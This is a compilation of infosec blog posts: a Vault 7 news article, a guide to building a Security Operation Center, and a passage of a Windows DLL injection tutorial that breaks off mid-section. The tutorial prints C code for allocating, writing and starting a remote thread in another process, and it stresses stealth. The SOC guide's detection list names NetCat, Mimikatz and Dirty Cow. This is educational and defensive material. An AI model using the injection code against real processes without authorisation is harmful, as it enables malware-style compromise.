ntdll!ZwAllocateVirtualMemory
ntdll!ZwCreateProcess
ntdll!ZwCreateProcessEx
ntdll!ZwCreateSection
ntdll!ZwCreateThreadEx
ntdll!ZwMapViewOfSection
ntdll!ZwWriteVirtualMemory

Original Post: https://blog.ropchain.com/2017/04/03/disarming-emet-5-52/amp/

WikiLeaks Vault 7 Data Leak: Another Earthquake in the Intelligence Community

WikiLeaks “Vault 7” data dump

The WikiLeaks organization obtained thousands of files allegedly originating from a high-security network of the U.S. Central Intelligence Agency (CIA).

The huge trove of data, called “Vault 7,” sheds light on the hacking capabilities of the US Intelligence Agency and provided details about its spying infrastructure used for the massive surveillance.

“The first full part of the series, “Year Zero”, comprises 8,761 documents and files from an isolated, high-security network situated inside the CIA’s Center for Cyber Intelligence in Langley, Virginia,” reads the announcement issued by WikiLeaks by WikiLeaks.

“Recently, the CIA lost control of the majority of its hacking arsenal including malware, viruses, Trojans, weaponized “zero day” exploits, malware remote control systems and associated documentation.”

The archive appears to have been circulated among former US government experts and contractors in an unauthorized manner, one of them likely passed the files to WikiLeaks.

The Vault 7 dump includes confidential information, hacking tools, malicious codes and exploits developed to hack popular products from various IT companies, including Samsung, Apple, Google, and Microsoft.

The hacking tools in the arsenal of the CIA have been developed by the CCI’s Engineering Development Group (EDG). The developers at EDG are tasked for developing and testing any kind of malicious code, including implants, backdoors, exploits, Trojans and viruses.

The tools allowed cyber spies to target almost any devices, including smart phones, desktop computers, and IoT devices (i.e. smart TVs).

According to WikiLeaks, the Central Intelligence Agency has dozens of zero-day exploit codes in its arsenal that can be used to target almost any platform, from Windows and Linux PC, to Android and iOS mobile devices.

“CIA malware and hacking tools are built by EDG (Engineering Development Group), a software development group within CCI (Center for Cyber Intelligence), a department belonging to the CIA’s DDI (Directorate for Digital Innovation),” continues WikiLeaks.

Just after the release of the CIA archive, WikiLeaks announced that it will not release the tools and the exploits “until a consensus emerges on the technical and political nature of the CIA’s program and how such ‘weapons’ should be analyzed, disarmed and published.”

Figure 1 – CIA Organization chart

Several documents in the archive confirm the CIA used hacking tools developed by the British intelligence agencies GCHQ and MI5, the NSA, the FBI, and also by contractors.

A tool dubbed Weeping Angel made the headlines, it is a malicious code developed to transform Samsung Smart TVs in powerful tools for surveillance activities. The tools were developed by the experts at the CIA with the support of their peers at the British MI5.

“The attack against Samsung smart TVs was developed in cooperation with the United Kingdom’s MI5/BTSS. After infestation, Weeping Angel places the target TV in a ‘Fake-Off’ mode, so that the owner falsely believes the TV is off when it is on. In ‘Fake-Off’ mode the TV operates as a bug, recording conversations in the room and sending them over the Internet to a covert CIA server,” continues WikiLeaks.

The documents confirm that the CIA hackers were able to bypass the encryption implemented by most popular secure messaging apps such as Signal, WhatsApp, and Telegram.

The attack was possible targeting the mobile devices and not the encryption protocols implemented by the development team of the popular messaging platforms.

CIA Umbrage team, the factory of false flag ops

Just after the release of WikiLeaks Vault 7 archive, security experts started digging the precious collection of files.

The files in the dump contains useful information about Techniques, Tactics and procedures of the US Central Intelligence Agency.

One of the most interesting information emerged from the archive is the CIA ability in fingerprinting hacking techniques used by threat actors in the wild, both state and non-state actors.

The CIA has built a specific group of experts, code-named as the Umbrage team, that is controlled by the Remote Development Branch inside the CIA’s Center for Cyber Intelligence.

“The CIA’s Remote Devices Branch‘s UMBRAGE group collects and maintains a substantial library of attack techniques ‘stolen’ from malware produced in other states including the Russian Federation.

“With UMBRAGE and related projects the CIA cannot only increase its total number of attack types but also misdirect attribution by leaving behind the “fingerprints” of the groups that the attack techniques were stolen from,” states WikiLeaks.

 “UMBRAGE components cover key loggers, password collection, webcam capture, data destruction, persistence, privilege escalation, stealth, anti-virus (PSP) avoidance and survey techniques.”

The team maintains a library of techniques borrowed from in-the-wild malware and threat actors for the following reasons:

  • The knowledge of attack patterns could help the Agency in forensics investigations to rapidly attribute a cyber-attack to a specific threat actor.
  • The library could be easily included in the CIA’s projects to achieve the following goals:
    • To reduce the cost and time to develop hacking tools to use in the cyber operations.
    • To make harder the attribution of cyber-attacks and cause others threat actors to be blamed for the agency’s false flag operations.

Analyzing the WikiLeaks documents about the UMBRAGE group, the experts discovered explicit references to a well-known cyber threat, the Shamoon malware. Information reported in the WikiLeaks dump revealed that the experts at the Umbrage team used the same technique implemented by the Shamoon malware, in this way it was impossible to distinguish legitimate attacks of the Shamoon attackers from the ones launched by the US intelligence.

The Shamoon malware is a malicious code that was first spotted in 2012 when it destroyed more than 30,000 computers at Saudi Aramco.

Since December 2016, security experts observed a spike in the number of attacks linked to a new variant of the malware, so-called Shamoon 2.

The first Shamoon variant abused a commercial digitally-signed driver called RawDisk developed by a company named Eldos.

The experts at the Umbrage group devised a method to bypass the license check for the RawDisk driver and implemented the same disk wiping technique in an internal hacking tool dubbed Rebound.

Then when malware researchers were discovering a Rebound sample in some systems they identified it as a Shamoon variant instead of the CIA implant.

The UMBRAGE team has many other techniques and tools in its arsenal. The experts were able for example to reproduce a persistence technique borrowed from the HiKit rootkit.

The CIA hackers are able to implement the webcam capture feature used by the infamous DarkComet RAT and also sandbox evasion techniques borrowed from the Trojan Upclicker and the Nuclear Exploit Pack.

The arsenal is full of tools, for example ShoulderSurfer is a software used by the CIA to hack Windows Exchange 2010. The tool performs a code injection attack against the Exchange Datastore manager process allowing the CIA hackers to siphon emails and contacts without the need for the user’s credentials.

Other software in the archive are able to target Apple users, the QuarkMatter technique for example allows attacker for hiding spying software persistently on an OS X system by using an EFI driver stored on the EFI system partition.

The documents also include details for a project called HarpyEagle that analyzed Apple’s Airport Extreme firmware for private keys, and also Time Capsule systems.

Figure 2 – CIA projects included in the Vault 7 dump

The CIA data leak shows the CIA hackers have an extensive list of iOS exploits in their arsenal. Some tools were developed by the CIA itself, other were developed by the GCHQ, and others were sold by private vendors.

The intelligence Agency, of course, also has a lot of tools that can hack Android mobile devices. The documents refer three implants listed as Bowtie, SuckerPunch, and RoidRage that can be used to spy Android mobile devices. The release notes for the RoidRage implant show it can be used for different purposes, including the monitoring of all radio functions and to steal SMS messages from the target.

Back to the Umbrage arsenal, its components were also inspired by the code leaked in 2015 from the Italian surveillance company Hacking Team.

The CIA experts focused their efforts on the implementation of the set of implants used by the Hacking Team designed to hack Windows systems.

“If one is interested in using some implementations found in the source code, it should be considered a best practice to extract the desired pieces, and thoroughly review and test the extracted pieces,” is reported in the leaked files.

Unfortunately, many other intelligence agencies may have used a similar technique to deceive investigators.

WikiLeaks is working with software makers to neutralize CIA hacking tools.

WikiLeaks is going to share information on the hacking tools included in the Vault7 dump with the tech companies whose products are affected even if the White House has warned that there may be legal repercussions for the organization.

WikiLeaks wants to protect the customers of the major companies that use the products of several major companies that are impacted by the hacking tools in the data leak.

Just after the data leak, WikiLeaks announced it would not release tools or exploits “until a consensus emerges on the technical and political nature of the CIA’s program and how such ‘weapons‘ should analyze, disarmed and published.”

During a WikiLeaks press conference on March 9, 2017, Julian Assange explained that the organization decided to share information with impacted companies.

“We have decided to work with them, to give them some exclusive access to the additional technical details we have so that fixes can be developed and pushed out so that people can be secured,” Assange said. “And then, once this material is effectively disarmed by us, by removing critical components, we will publish additional details about what has been occurring.”

The decision was taken by WikiLeaks and its followers through a poll on Twitter about the possibility to share technical details of the hacking tools with the companies in private industry that sell the products targeted by the US intelligence.

“Yes, make people safe,” while 36 percent of respondents said “No, they’re the problem.”

 

Figure 3 – WikiLeaks plans to support Tech Companies targeted by the CIA

“If a program or a piece of information is classified, it remains classified regardless of whether or not it is released into the public venue or not,” said White House press secretary Sean Spicer. “I would just suggest that someone consult with [the Department of Justice] regarding the legal repercussions of any individual or entity using any piece of still-classified information or technique or product that hasn’t been declassified.”

The CIA did not comment the authenticity of WikiLeaks data leak, but remarked that US law doesn’t allow the Government to spy on it citizens.

While I was writing, tech companies are already working to fix the zero-day flaws in their products and to offer customers tools to detect the presence of anomalies in their applications.

Intel Security has released a tool that allows users to check if the firmware of computers contains unauthorized code.

The Advanced Threat Research team at Intel Security developed a new module for its existing CHIPSEC open-source framework to detect rogue EFI binaries. It can be used to detect malicious code from Windows, Linux, MacOS, and even from an EFI shell.

Other companies are doing the same to protect their customers.

The CIA’s reply to the Vault 7 data leak

The CIA has issued an official statement in response to the WikiLeaks Vault7 Data leak, the US Agency denies conducting a large-scale surveillance on its citizens.

According to an unnamed U.S. officials quoted by the Reuters, the most likely source of the data leak is a CIA contractor.

“Contractors likely breached security and handed over documents describing the Central Intelligence Agency’s use of hacking tools to anti-secrecy group WikiLeaks, U.S. intelligence and law enforcement officials told Reuters on Wednesday,” states the Reuters.

“Two officials speaking on condition of anonymity said intelligence agencies have been aware since the end of last year of the breach, which led to WikiLeaks releasing thousands of pages of information on its website on Tuesday.”

The decision of the CIA of not disclosing the data breach exposed the companies that use the devices targeted by its tools to the risk of cyber-attacks.

The CIA and the FBI have launched an investigation into the WikiLeaks Vault7 Data leak, even if the Central Intelligence Agency did not confirm the authenticity of the huge trove of files.

The intelligence Agency tried to downplay its responsibility, the CIA in fact, pointed out that its mission is to “aggressively collect” foreign intelligence from overseas entities. Foreign governments and non-state actors such as terrorists are becoming even more dangerous and persistent so the CIA is using also such kind of tools and techniques to protect Americans.

“It is CIA’s job to be innovative, cutting-edge, and the first line of defense in protecting this country from enemies abroad,” reads the statement issued by the CIA.

“The American public should be deeply troubled by any WikiLeaks disclosure designed to damage the Intelligence Community’s ability to protect America against terrorists and other adversaries. Such disclosures not only jeopardize U.S. personnel and operations, but also equip our adversaries with tools and information to do us harm,” the agency said.

The tools in the CIA arsenal appear to have been designed for targeted attacks instead of a dragnet surveillance. The CIA pointed out that it is not allowed to Intelligence agencies and law enforcement bodies spying on individuals in the United States. The agency said its activities “are subject to rigorous oversight to ensure that they comply fully with U.S. law and the Constitution.”

According to the CIA, all the operations conducted by the US agencies “are subject to rigorous oversight to ensure that they comply fully with U.S. law and the Constitution.”

The Vault 7 data leak will have a serious impact on the CIA surveillance activities, the tool and techniques described in the documents will be soon ineffective.

Which are the reactions of other governments to the WikiLeaks dump?

China expresses concerns at the revelations, the products of many Chinese companies may have been targeted by the CIA hackers.

“China expressed concern on Thursday over revelations in a trove of data released by WikiLeaks purporting to show that the CIA can hack all manner of devices, including those made by Chinese companies,” reported Reuters.

“Dozens of firms rushed to contain the damage from possible security weak points following the anti-secrecy organization’s revelations, although some said they needed more details of what the U.S. intelligence agency was up to.

“Widely-used routers from Silicon Valley-based Cisco (CSCO.O) were listed as targets, as were those supplied by Chinese vendors Huawei [HWT.UL] and ZTE (000063.SZ) and Taiwan supplier Zyxel for their devices used in China and Pakistan.”

The Germany’s foreign ministry issued a statement saying that it is in contact with the U.S. Government to receive more information on the case.

The chief federal prosecutor’s office confirmed it would review the WikiLeaks data dump related to the claims that the CIA ran a hacking hub from the U.S. consulate in Frankfurt.

“We will initiate an investigation if we see evidence of concrete criminal acts or specific perpetrators,” a spokesman for the federal prosecutor’s office told Reuters.

References

https://wikileaks.org/ciav7p1/

http://securityaffairs.co/wordpress/56958/intelligence/wikileaks-cia-hacking-tools.html

http://securityaffairs.co/wordpress/56983/intelligence/wikileaks-vault7-cia-umbrage-team.html

https://wikileaks.org/ciav7p1/cms/page_524353.html

http://securityaffairs.co/wordpress/57042/intelligence/wikileaks-vault7-dump-0day.html

http://securityaffairs.co/wordpress/57015/data-breach/cia-replies-wikileaks-vault7.html

http://securityaffairs.co/wordpress/57015/data-breach/cia-replies-wikileaks-vault7.html

Original Post: http://resources.infosecinstitute.com/wikileaks-vault-7-data-leak-another-earthquake-intelligence-community/

Guideline to Develop and Maintain the Security Operation Center (SOC)

This article is written to explain the strategy, planning, execution in building and maintaining of SOC. The aspect of building SOC is complex, so many things are involved. I tried to cover the basic points which a SOC manager can understand and implement it properly.

I have tried to cover most of the areas which a Team Leader or SOC Manager will use to initiate the process to build a proper SOC.

In this article, I will cover the roadmap of SOC, planning and building strategies, developing Use Cases, team building planning, SOP (Standard Operating Process), SOW (Scope of Work) and responsibilities of individual members in SOC.

I will cover SIEM related aspects like POC checklist, Architecture and many things in upcoming articles. If you have specific requirements to understand, please comment in comment box.

Q. What is SOC?

  • SOC stands for Security Operation Center.
  • It is Command Center of Highly Qualified and Talented Ethical Hackers/Security Analyst whose primary aim is to monitor the SIEM Console continuously and detect the security incidents, report, escalate and close with proper justification and cause.

SOC Team works throughout 24/7 shift to detect the intrusive/malicious/suspicious/misconfiguration/policy violation etc. events.

To build a SOC team, SOC Manager has to be clear with SOC Roadmap, which consists of the following factors:

  1. People
  2. Technology
  3. Process

Once SOC Manager identifies the requirements what he need, what is require to secure the organization from attacks, he can map it with 3 Roadmap stated above. We will learn it in detail.

Before we start, let’s understand the need of SOC in Every corporate company.

Q. Need of SOC?

Security Operation Center is the main portion of Information technology and information security in all corporate sectors.

Now a day we all know how Cyber attackers are impacting the financial growth of corporate environment especially financial institution.

From Leaking the financial and sensitive information of customer data to impacting the daily functioning of IT infra by performing attacks like DDoS.

For Bad Hackers Nothing is impossible, every day they invent a way to exploit and bypass techniques and spread it over the internet, but SOC team make it difficult somehow and try to secure the corporate infrastructure.

Simply to avoid the situation where financial loss and reputation involved. Also to avoid Data/Info breaches and attacks that have high criticality need to focus on incident detection, investigation, and proper closure capabilities.

Let’s start with detailed learning of Roadmaps.

Roadmap:

It is the perfect approach to proceed with building a SOC Team.

The need of roadmap is because you cannot build a perfect and secure SOC which work on 24*7 a year irrespective of how you invest. What to do next? How? Always the question.

You can consider it as planning to move ahead incrementally towards progress and complete the milestones that may result in better security of the organization.

Following three triage of Security Operations:

  • People (Team member)
  • Process
  • Technology

People:

People aka Team members are the main link of security operation with specialized skills.

As per skill levels responsibilities, i.e. SOP get assigned.

SOC Manager should consider following levels with skilled while building a SOC:

Levels starting from

  • L1: Monitoring Analyst.
  • L2: Sr. Analyst.
  • SIRT Analyst: Experienced in Analysis and investigation.
  • Process Consultant (Optional).
  • SOC Manager (Team Leader).

The SOC Manager always recruits the Team members as per Job Description and scope of work. I have summarized the details what skills, duties, and other qualities require within Team is as follows:

L1 Analyst: (Per Shift at least 2)

L1 Analyst should have Ethical Hacking knowledge. CEH certification is entry level certification into the SOC. CCNA/MCSA and Other Certification are an add-on for him. If the individual has a strong knowledge of hacking and analysis should be hired.

L1 Analyst monitoring SIEM console is totally responsible for identifying the Security incidents and reporting. The scope of L1 is to monitor the SIEM console continuously (24/7) and report triggered incidents to Owner and L2 Analyst to bring it to closure.

SOC Manager has to arrange training on SIEM administration, integration, and monitoring for L1 as well as all team member to become an expert and don’t face problem while handling the issue.

L2 Analyst: (Per shift at least 1 or 2)

The L2 analyst is skilled and more experience in monitoring and analysis compared to L1. Pay scale also more as compared to L1.

Main Scope of work is to respond and closure the Security Incidents created on a daily basis by L1 within defined SLA (Service Level Agreement). Daily follow up of opened cases with Owners, discussion over call and resolution of cases.

The incidents which have a high priority or he thinks needs a deeper investigation will be handed over to SIRT Analyst for immediate response and closure.

Correlation rule enhancement, simulation of attack to verify the functionality of the rule.

SIEM Administration, Coordination with support also part of scope.

SIRT Analyst: (Per shift at least 1)

The SIRT Analyst is more skilled than L1 and equivalent or higher than L2. He should be capable of investigating compromised events, threat-related events, internal leakage, identification of internal resource who performed the malicious activities and much more. Network forensics, Deep packet inspection are the added skills which are required.

Pay scale is more comparable to L1 and L2.

Responsible for handling high priority cases which are escalated by L2 or from internal Team, Higher Management, External resources.

Once a Security incident is assigned to SIRT Analyst he has to start the deep investigation. Also responsible for the proper closure of the security incident with RCA (Root Cause Analysis). Post closure he should prepare the detailed incident closure report and submit to Team and SOC Manager to present to senior management (CISO) in the daily or weekly meeting.

Overall the SIRT Analyst is responsible for proper response and closure of High and Critical Security incidents within SLA.

SOC Manager: (General Shift and offline support to team).

SOC Manager should have more experience in technical as well as on Managerial Side.

More skilled in technical aspect is added advantage to him as well as for Team.

His Overall experience is more and responsible for appreciation, violation, and escalation of SOC Team. He is a single point of contact between the team and senior management (CISO and other Dept. Head).

Qualities:

He should be good supportive and interactive.

He should be good in understanding each Teammate and his contribution.

Responsibilities:

  • Overall Manager has more responsibilities from managing the team as well as senior management.
  • SOC Process definition (applicable where process consultant is not part of the team).
  • Preparation and validation of the daily, weekly and monthly report which showcase the SOC Team contribution towards the security of organizations.
  • Handling multiple projects, understanding the requirement of new technologies and implementation. Doing knowledge transfer within the team.
  • If Manager is handling MSSP services, then he has to understand the actual requirement of Client and work accordingly. Keep the customer happy is the main challenge for SOC Manager and Team.
  • BCP (Business Continuity Planning) and DR (Disaster Recovery) setup, maintenance and proper execution.
  • Immediate support to team and escalation if no proper response received from vendor/asset owner etc.
  • Arrange training, seminars for the team to get more expertise and skilled.
  • For Team:
    • Prepare and publish the monthly roster so in all shift defined number of analyst should be present.
    • Personal discussion and approval of yearly appraisal for all team.
    • Arrange an outing for the team once in a year.
  • Many more responsibilities

Important Note to SOC Manager:

To build a good and stable team he has to be sure to recruit the skilled engineerwith Good Pay Scale and understand each member personally and solve the problems (if any).

Process:

The process is the main part of Daily SOC Operation.

Defining incident management to investigation process standardize the action. A SOC Analyst will take and ensure no tasks will get failed.

From L1 Analyst à L2 Analyst à SIRT Analystà SOC Manager each one of SOW (scope of work) and SOP (Standard Operation Procedure) is need to define very well as a part of the process.

The number of processes and procedures of a SOC identified and based on company/customer’s policies and requirements, services offered, the scope of work and technologies used.

Very Well organized SOC having tons of Policies and processes in place. At minimum baseline, the following are the processes for references. (Examples)

  • SIEM monitoring and Notification (email, mobile, chat, etc.) procedure.
  • Event management process.
  • Security Incident Ticket management process (how to use ticketing systems e.g.: HPSM etc.)
  • Incident Handling, Reporting and Escalation process.
  • Daily activities process like checklist and handover.
  • Daily, weekly and monthly report format to Management
  • Compliance monitoring process.
  • Incident analysis and investigation response process.
  • New technology operating process.

All the Policies and Processes should be properly documented and kept at WIKI Portal, share point or share drive for team reference.

Technology:

Core technologies such as SIEM having multiple solutions like data (raw log/packets) collection, aggregation, normalization, detection, and analytics is a secret of the effectiveness of SOC.

Security devices (AV, HIPS, NIPS, DLP, WAF, ARBOR, FireEye, DAM, etc.) are more in number, and monitoring for individual intrusive detection at each tool is not possible and increase the count of manpower.

SIEM comes into the picture to overcome the problems.

For perfect Monitoring, SIEM (Security Information and Event Management) is all about one technology used in SOC. SIEM collects raw logs from multiple log sources like desktop, laptop, mobiles, servers, network (infra + Telco) as well as from Security devices convert it into logical security events and populate on SIEM console for further process of raising Security incidents.

Based on defined correlation rule SIEM triggers the events.

Just for understanding, I have added SIEM Architecture for reference:

For more info, refer link: https://community.mcafee.com/docs/DOC-6207

Intel Nitro SIEM Architecture

ESM: Enterprise Security Manager. It is the brain of SIEM solution. The web interface of SIEM.

ACE: Advanced Correlation Engine

DEM: Database Event Monitor

ADM: Application Data Monitor

Receiver: event receiver. Intermediator between log source and ESM. Used for the collection of 3rd party raw logs.

Pull/push/agent method is supported by the receiver to collect the raw logs.

ELM: Enterprise Log Manager

CLMS: Centralized Log Management Solution (required at ISP level where storage of huge logs from lakhs of devices required)

Storage: actual raw events stored here. It may be DAS, NAS, CIFS, SAN, iSCSI as per storage requirement.

The manager should recruit team members who have the following areas of knowledge and expertise.

Duties and Skillset of SOC Member

  • SIEM Implementation, Administration, Integration.
  • SIEM Proactive/Reactive Monitoring and incident handling.
  • Security event management.
  • Forensics
  • Threat Management, Malware analysis (reverse engineering).
  • Vulnerability management
  • Audit
  • Network as well as Web Pen-test.
  • Internal and External security devices management
  • Managed customer services
  • Compliance.

As per industry standard and compliance the SOP changes and little change in SOW. Always SOC Team has other multiple responsibilities which they need to execute without failure like:

Monitoring of DDoS real-time Alert in Console (Arbor DDoS Tool): Experts suggested for individual monitoring to get better clarity and more details which SIEM logs never provide.

IP-Abuse and Copyright Infringement: This is a very crucial process where company registered Public IP perform the malicious and unethical activity over the internet.

  • Cyber Cell sent mail to get the details to proceed to resolve the criminal cases.
  • 3rd party vendor report to inform the source IP is performing malicious activity on client infra; multiple recurrences will blacklist the IP.

Proxy Monitoring: Web Admin collects the Proxy logs and creates the portal. The analyst monitors the logs and report who violated the defined InfoSec policies like visiting the restricted sites, accessing proxy sites, downloading copyrighted materials, watching videos, etc.

Anti-Trojan Activity: Financial (Bank) corporation follow it. Whenever Trojan collects the bank login credentials from client laptop/desktop, there is 3rd party vendor who collects the Trojan, dump the credentials. Report it to individual subscribed financial organization then SOC analyst proceeds with reporting mail to respective departments.

Brand Abuse: Bad actor always makes a way to collect Personal information (PI) of people by multiple ways like recharge or discount, fake app, fake links, phishing pages, etc. to earn money by selling info to other marketing companies. This impacts the company reputation and may loss of genuine customers. Reporting to Legal Department and making it down on priority ASAP.

Study the Company environment/Client Side:

Understanding the environment is the first phase of start-up of SOC setup. Complete visibility of Network architecture and asset is required to understand the incident scenario and SME to escalate the issue.

This visibility is useful to meet the defined the SLA and overall customer or in-house service within SOC.

SIEM architect builds the SIEM setup post better understanding of Network architecture and network flow.

Individual Security Devices Read-only access is required to continue the operation process. In the absence of SIEM, individual monitoring is the solution for SOC.

  • AV Monitoring access.
  • Network and Host IDS/IPS monitoring access
  • DLP console monitoring access (Symantec DLP)
  • Centralized log storage access (CLMS, Syslog server)
  • Email and SPAM gateway Access.
  • Web Gateway (TMG / Bluecoat)
  • Threat Management tools access (FireEye / Invincea)
  • Firewall (Fortigate / Cisco)
  • Vulnerability assessment tool (Nessus, Metasploit)

Use Cases:

Perfect and effective functioning of SOC Use Cases performs an important role. Use Case is scenario based attack simulation and detection in SIEM console. Based on triggered events creation of correlation rule is the main scope of Use Cases.

As per Hacking scenario, SME will create rule logic, based on triggered security devices logs.

E.g.: SQL Injection attack detection.

Kali Linux is used for performing an attack, Firewall, Nips, WAF and Web Server logs analyst can refer to get the visibility and understanding of attack pattern. Based on triggered events he proceeds to create and confirm the effectiveness of the Correlation rule.

Examples of Use Cases useful while setting up the SOC:

  • Security Risk Found (AV).
  • Suspicious Outbound Communication observed towards GTI IP (Firewall-known as well as on unknown ports).
  • Excessive incoming connection observed towards web server (TCP/ UDP/ ICMP): NIPS
  • DDoS attempt- Firewall/Arbor etc.
  • Malicious Binary execution observed (from HIPS): NetCat, Mimi Katz, exploits (Dirty Cow) for privilege escalation, etc.
  • Multiple logins from different locations.
  • Logs deleted from the source.
  • User created and deleted within 1 hour (AD).
  • Successful login posts multiple failures observed (Successful Brute Force attack observed).
  • Huge count of teardown connection observed (Firewall).
  • Network/Port Scanning observed (Firewall).

There are a number of rules which can be tested and deployed on SIEM for monitoring by the analyst.

Developing the SOC is challenging as there are so many milestones which SOC manager has to noted down and implement properly. Post to that maintaining is an ongoing process. Daily basis improvement and changes, policy and process definition, is continuous.

SOC Setup and implementation is Challenge but not hard if SOC Manager is on Correct Way and execute the defined milestone on correct time with the help of Team.

Note: It is not possible to cover all aspects in one article. Feel free comment in case any query.

Reference:

https://www.sans.org/reading-room/whitepapers/analyst/building-world-class-security-operations-center-roadmap-35907

http://www.mcafee.com/in/resources/white-papers/foundstone/wp-creating-maintaining-soc.pdf

http://www.securite.org/presentations/soc/MEITSEC-SOC-NF-v11.pdf

Original Post: http://resources.infosecinstitute.com/guideline-to-develop-and-maintain-the-security-operation-center-soc/

Windows DLL Injection Basics

DLL Injection is one of those things I’ve always sort of knew about but never actually implemented. Probably because I never *really* needed to. I’m not a big gamer and not really into the malware side of security. Actually, the only times I ever need to inject into a running process is during exploitation/post exploitation and Metasploit has spoiled me too much 🙂

So, early last week I decided to actually implement some of the well known Windows DLL injection techniques to keep my mind at ease. Hopefully this blog will get you accustomed to those techniques and maybe inspire you to implement them on your own.

Defined

DLL injection is the process of inserting code into a running process. The code we usually insert is in the form of a dynamic link library (DLL), since DLLs are meant to be loaded as needed at run time. However this doesn’t mean we cannot inject assembly in any other form (executables, handwritten, etc..). It’s important to note that you’ll need to have an appropriate level of privileges on the system to start playing with other program’s memory.

Overview

The Windows API actually offers a number of functions that allow us to attach and manipulate into other programs for debugging purposes. We’ll leverage these methods to perform our DLL Injection. I’ve broken down DLL injection into four steps:

  1. Attach to the process
  2. Allocate Memory within the process
  3. Copy the DLL or the DLL Path into the processes memory and determine appropriate memory addresses
  4. Instruct the process to Execute your DLL

Each one of these steps can be accomplished through the use of one or more programming techniques which are summarized in the below graphic. It’s important to understand the details/options present for each technique as they all have their positives and negatives.

Execution Starting Point

We have a couple of options (e.g. CreateRemoteThread(),NtCreateThreadEx(), etc…) when instructing the target process to launch our DLL. Unfortunately we can’t just provide the name of our DLL to these functions, instead we have to provide a memory address to start execution at. We perform the Allocate and Copy steps to obtain space within the target process’ memory and prepare it as an execution starting point.

There are two popular starting points: LoadLibraryA() and jumping to DllMain.

LoadLibraryA()

LoadLibraryA() is a kernel32.dll function used to load DLLs, executables, and other supporting libraries at run time. It takes a filename as its only parameter and magically makes everything work. This means that we just need to allocate some memory for the path to our DLL and set our execution starting point to the address of LoadLibraryA(), providing the memory address where the path lies as a parameter.

The major downside to LoadLibraryA() is that it registers the loaded DLL with the program and thus can be easily detected. Another slightly annoying caveat is that if a DLL has already been loaded once with LoadLibraryA(), it will not execute it. You can work around this issue but it’s more code.

Jumping to DllMain (or another entry point)

An alternative method to LoadLibraryA() is load the entire DLL into memory, then determine the offset to the DLL’s entry point. Using this method you can avoid registering the DLL with the program (stealthy) and repeatedly inject into a process.

Attaching to the Process

First we’ll need a handle to the process so that we can interact with it. This is done with the OpenProcess() function. We’ll also need request certain access rights in order for us to perform the tasks below. The specific access rights we request vary across Windows versions, however the following should work for most:


hHandle = OpenProcess( PROCESS_CREATE_THREAD | 
                       PROCESS_QUERY_INFORMATION | 
                       PROCESS_VM_OPERATION | 
                       PROCESS_VM_WRITE | 
                       PROCESS_VM_READ, 
                       FALSE, 
                       procID );

Allocating Memory

Before we can inject anything into another process, we’ll need a place to put it. We’ll use the VirtualAllocEx() function to do so.

VirtualAllocEx() takes amount of memory to allocate as one of its parameters. If we use LoadLibraryA(), we’ll allocate space for the full path of the DLL and if we jump to the DllMain, we’ll allocate space for the DLL’s full contents.

DLL Path

Allocating space for just the DLL path slightly reduces the amount of code you’ll need to write but not by much. It also requires you to use the LoadLibraryA() method which has some downsides (described above). That being said, it is a very popular method.

Use VirtualAllocEx() and allocate enough memory to support a string which contains the path to the DLL:


GetFullPathName(TEXT("somedll.dll"), 
                BUFSIZE, 
                dllPath, //Output to save the full DLL path
                NULL);

dllPathAddr = VirtualAllocEx(hHandle, 
                             0, 
                             strlen(dllPath), 
                             MEM_RESERVE|MEM_COMMIT, 
                             PAGE_EXECUTE_READWRITE);

Full DLL

Allocating space for the full DLL requires a little more code however it’s also much more reliable and doesn’t need to use LoadLibraryA().

First, open a handle to the DLL with CreateFileA() then calculate its size with GetFileSize() and pass it to VirtualAllocEx():


GetFullPathName(TEXT("somedll.dll"), 
                BUFSIZE, 
                dllPath, //Output to save the full DLL path
                NULL);

hFile = CreateFileA( dllPath, 
                     GENERIC_READ, 
                     0, 
                     NULL, 
                     OPEN_EXISTING, 
                     FILE_ATTRIBUTE_NORMAL, 
                     NULL );

dllFileLength = GetFileSize( hFile, 
                             NULL );

remoteDllAddr = VirtualAllocEx( hProcess, 
                                NULL, 
                                dllFileLength, 
                                MEM_RESERVE|MEM_COMMIT, 
                                PAGE_EXECUTE_READWRITE ); 

Copying the DLL/Determine Addresses

We can now copy the DLL (path or contents) to the target process space.

Now that we have space allocated in our target process, we can copy our DLL Path or the Full DLL (depending on the method you choose) into that process. We’ll use WriteProcessMemory() to do so:

DLL Path


WriteProcessMemory(hHandle, 
                   dllPathAddr, 
                   dllPath, 
                   strlen(dllPath), 
                   NULL);

Full DLL

We’ll first need to read our DLL into memory before we copy it to the remote processes.


lpBuffer = HeapAlloc( GetProcessHeap(), 
                      0, 
                      dllFileLength); 

ReadFile( hFile, 
          lpBuffer, 
          dllFileLength, 
          &dwBytesRead, 
          NULL );

WriteProcessMemory( hProcess, 
                    lpRemoteLibraryBuffer, 
                    lpBuffer,  
                    dllFileLength, 
                    NULL );

Determining our Execution Starting Point

Most execution functions take a memory address to start at, so we’ll need to determine what that will be.

DLL Path and LoadLibraryA()

We’ll search our own process memory for the starting address of LoadLibraryA(), then pass it to our execution function with the memory address of DLL Path as it’s parameter. To get LoadLibraryA()‘s address, we’ll use GetModuleHandle() and GetProcAddress():

loadLibAddr = GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");

Full DLL and Jump to DllMain

By copying the entire DLL into memory we can avoid registering our DLL with the process and more reliably inject. The somewhat difficult part of doing this is obtaining the entry point to our DLL when it’s loaded in memory. Luckily enough, Stephen Fewer has made our lives easy. He’s pioneered the Reflective DLL Injection technique which offers a greater level of stealth in comparison to existing methods. The LoadRemoteLibraryR() function included within his ReflectiveDLLInjection Inject project implements this entirely, however it limits our execution method to CreateRemoteThread(). So we’ll use the GetReflectiveLoaderOffset() from it to determine our offset in our processes memory then use that offset plus the base address of the memory in the victim process we wrote our DLL to as the execution starting point. It’s important to note here that the DLL we’re injecting must complied with the appropriate includes and options so that it aligns itself with the ReflectiveDLLInjection method.

dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpWriteBuff);

Executing the DLL!

At this point we have our DLL in memory and we know the memory address we’d like to start execution at. All that’s really left is to tell our process to execute it. There are a couple of ways to do this.

CreateRemoteThread()

The CreateRemoteThread() function is probably the most widely known and used method. It’s very reliable and works most times however you may want to use another method to avoid detection or if Microsoft changes something to cause CreateRemoteThread() to stop working.

Since CreateRemoteThread() is a very established function, you have a greater flexibility in how you use it. For instance, you can do things like use Python to do DLL injection!

rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0, lpStartExecAddr, lpExecParam, 0, NULL);
WaitForSingleObject(rThread, INFINITE);

NtCreateThreadEx()

